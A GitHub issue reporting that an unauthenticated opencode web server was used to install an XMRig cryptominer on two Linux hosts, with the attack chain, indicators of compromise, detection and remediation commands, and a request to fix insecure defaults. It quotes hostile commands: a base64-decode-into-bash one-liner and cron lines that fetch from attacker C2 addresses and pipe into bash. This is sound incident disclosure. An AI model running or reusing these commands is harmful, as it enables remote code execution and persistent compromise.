Skip to content

[SECURITY] Cryptominer deployed via unsecured opencode web server — insecure default + no access logging #38857

Closed as not planned

Description

@andrea-tomassi

Summary

Two of my Linux hosts were compromised by a Monero (XMRig) cryptominer deployed through an unsecured opencode web server (v1.4.7). The web server was listening on 0.0.0.0:4096 without OPENCODE_SERVER_PASSWORD set, exposing an unauthenticated bash terminal to anyone on the private VPN network.

An automated scanner on the VPN network found the open instance and deployed the miner via the web terminal, gaining full RCE as the owning user. The malware then killed competing processes (including other coding agents) to free CPU for mining.

Attack details

  • opencode version: 1.4.7
  • Configuration: opencode web --hostname 0.0.0.0, OPENCODE_SERVER_PASSWORD unset
  • Network: Private VPN mesh, accessible to all peers
  • Impact: Full RCE on 2 hosts, ~95 hours of CPU stolen (12 cores × 100%), system fingerprint exfiltration
  • Duration before detection: ~7-8 hours
  • Both hosts hit simultaneously — automated scanning

The malware chain

The attacker used the opencode bash tool to execute a single command:

pgrep -x unicorn >/dev/null || echo <BASE64_PAYLOAD> | base64 -d | bash

The payload:

  1. Downloaded a UPX-packed dropper (camouflaged as gunicorn)
  2. The dropper killed competing processes and deployed XMRig (camouflaged as unicorn, stored at ~/.claude/CRON)
  3. Installed cron persistence (*/3 * * * * callback to C2)
  4. Configured mining on 3 Monero pools, all 12 CPU cores, pause-on-active: false
  5. Exfiltrated system fingerprint (CPU, RAM, VM type, IP → base64 rig-id)

Security concerns

1. opencode web binds to 0.0.0.0 without enforcing authentication

When OPENCODE_SERVER_PASSWORD is not set, the web server still starts and serves the full terminal UI — including bash execution — to anyone who can reach the port. This is a remote code execution vector by default.

Suggestion: Refuse to start on non-localhost interfaces without a password, or print a prominent warning.

2. No HTTP access logging

opencode does not log HTTP requests to the web server. After the attack, there was zero forensic evidence of how the attacker connected — no source IP, no request path, no timestamp. This made it impossible to identify the attacker.

Suggestion: Log HTTP access (source IP, method, path, timestamp) to a file or journal by default.

3. Bash tool execution without confirmation

The web terminal executed the payload as a "synthetic" user action (direct tool execution), with no confirmation prompt or sandboxing.

Indicators of Compromise (IOCs)

C2 / Dropper infrastructure

Type Indicator
C2 primary 176.65.148.250 port 6556
C2 fallback 2.26.99.68 port 6556
Dropper domain apt-update.com
GitLab fallback Kanedias/xmrig-static

Mining pools

Pool Port
193.41.68.194 53535
95.85.237.149 53535
2.26.99.68 53535

Filesystem artifacts

Path Description
~/.claude/CRON XMRig binary (camouflaged as unicorn)
~/.claude/config.json XMRig pool config
~/<machine-id> UPX-packed dropper (camouflaged as gunicorn)

Process names (camouflaged)

  • unicorn → XMRig miner
  • gunicorn → UPX-packed dropper/killer

Cron persistence

*/3 * * * * curl -s <C2>:6556/ok | base64 -d | bash
@reboot <C2>:6556/ok | base64 -d | bash

Detection

Run these checks on any host running opencode web:

# 1. Cron entries
crontab -l | grep -E "176.65|6556|base64.*bash"

# 2. XMRig binary
ls -la ~/.claude/CRON

# 3. XMRig config
cat ~/.claude/config.json | grep -i "pool\|xmrig\|monero"

# 4. Dropper binary
ls -la ~/$(cat /etc/machine-id)

# 5. Camouflaged processes
ps aux | grep -iE "unicorn|gunicorn" | grep -v grep

# 6. Active C2/pool connections
ss -tn | grep -E "6556|53535"

Remediation (if infected)

# Kill malware processes
pkill -9 -f unicorn; pkill -9 -f gunicorn

# Remove artifacts
rm -f ~/.claude/CRON ~/.claude/config.json ~/<machine-id>

# Clean cron
crontab -l | grep -v "176.65\|base64.*bash" | crontab -

# Block C2 (repeat for each IOC IP)
sudo iptables -A OUTPUT -d <C2_IP> -j DROP

Environment

  • OS: Ubuntu 24.04 LTS (2 hosts)
  • opencode: 1.4.7
  • Network: Private VPN mesh

Happy to provide additional forensic details (session DB extracts, malware binary hashes, payload deobfuscation) if useful.

Activity

  1. github-actions commented on Jul 25, 2026

    @github-actions
    Contributor

    This issue might be related to previously reported issues that were closed without being fixed. Please check:

    Both of those issues describe the missing safeguard at the root of this incident. The security concern they raised appears to remain unaddressed in v1.4.7.

  2. andrea-tomassi commented on Jul 25, 2026

    @andrea-tomassi
    Author

    Thanks to the bot for linking #10958 and #10973 — this confirms the vulnerability was known and reported 4 months before this attack occurred.

    Timeline

    Date Event
    2026-03-30 #10958 and #10973 filed by @MaxMiksa — proposing exactly the guardrail needed
    2026-03-30 Both auto-closed by stale bot after inactivity — never fixed
    2026-07-25 This attack occurred — automated scanner found unsecured opencode web on VPN, deployed XMRig cryptominer via the bash terminal

    The attack was preventable

    The fix proposed in #10958 would have stopped this entirely:

    If hostname is non-loopback and OPENCODE_SERVER_PASSWORD is unset: On TTY: prompt for confirmation (default No). On non-TTY: refuse to start unless --yes is provided.

    If this guardrail had been implemented, opencode web --hostname 0.0.0.0 without a password would have refused to start (non-TTY, systemd service). The scanner would have found nothing.

    Impact of the unfixed vulnerability

    • Full RCE on 2 hosts
    • ~95 hours of CPU stolen (12 cores × 100%)
    • System fingerprint exfiltration
    • The malware killed other processes (coding agents, dev tools) to free CPU — causing cascading crashes that were extremely difficult to diagnose

    Request

    Please reopen and implement #10958 and #10973. The proposed fix is minimal, backwards-compatible (loopback behavior unchanged), and would have prevented this incident entirely.

    Additionally, HTTP access logging would have allowed me to identify the attacker — currently there is zero forensic evidence of how the connection was made.

  3. github-actions commented on Sep 24, 2026

    @github-actions
    Contributor

    To stay organized issues are automatically closed after 60 days of no activity. If the issue is still relevant please open a new one.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions